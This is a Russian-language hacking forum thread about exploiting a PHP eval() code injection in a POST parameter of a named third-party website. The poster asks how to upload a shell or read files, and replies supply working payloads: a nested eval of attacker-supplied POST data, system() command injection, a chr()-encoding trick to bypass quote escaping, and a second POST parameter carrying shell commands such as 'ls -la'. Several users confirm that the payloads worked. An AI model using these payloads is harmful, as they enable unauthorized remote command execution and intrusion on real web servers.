PHP Code Injection

Discussion in 'Песочница' started by assmaday, 16 Jul 2013.

  1. assmaday

    assmaday New Member

    Joined:
    3 Feb 2013
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    Нашел уязвимость в POST параметре option_id на сайте
    http://www. shans.com. ua/

    HackBar'ом передаю POST запрос

    option_id={${$print(1)}}{${$print(1)}}{${$print(1)}}
    option_id={${$phpinfo()}}
    Скрипт отрабатывает.... Данные передаются в eval()
    Кавычки экранируются.... Как залить шелл или прочитать файлы... base64_encode() не срабатывает... пытался залить через curl_init()....

    Непойму почему данные передаются в "{}" без ";"
    Вот так не работает {${$a=1; $print($a);}...
    А так выводит данные - {${$a=1}}{${$print($a)}}

    в гугле не нашел как выглядит данный скрипт...

    Если есть чтото подобное киньте ссылку...
     
    #1 assmaday, 16 Jul 2013
    Last edited: 16 Jul 2013
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    option_id={${eval(stripslashes($_POST
    Code:
    ))}}&code=print 'so good';
     
    _________________________
    Lam3rsha and winstrool like this.
  3. Nz2

    Nz2 Banned

    Joined:
    12 Mar 2016
    Messages:
    42
    Likes Received:
    3
    Reputations:
    0
    Добырый день
    есть пост запрос
    Code:
    submit=Proceed%20to%20next%20step&dbhost=1&dbms=${@print(system(ls))}\
    Кавычки экранируются, подскажите как обойти? base64 не помогло
     
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    функцией chr()
    Code:
    @print(system(CHR(108).CHR(115).CHR(32).CHR(45).CHR(108).CHR(97)))

    или подстановкой пост параметра:
    Code:
    submit=Proceed%20to%20next%20step&dbhost=1&dbms=${@print(system($_POST[cmd]))}\&cmd=ls -la
     
    _________________________
    GTAlex, Lam3rsha and Nz2 like this.
  5. Nz2

    Nz2 Banned

    Joined:
    12 Mar 2016
    Messages:
    42
    Likes Received:
    3
    Reputations:
    0
    Большое спасибо помогло!
     
  6. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Присоединяюсь - winstrool спасибо ОГРОМНОЕ!
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Рад, что вы рады)
     
    _________________________
    psihoz26 likes this.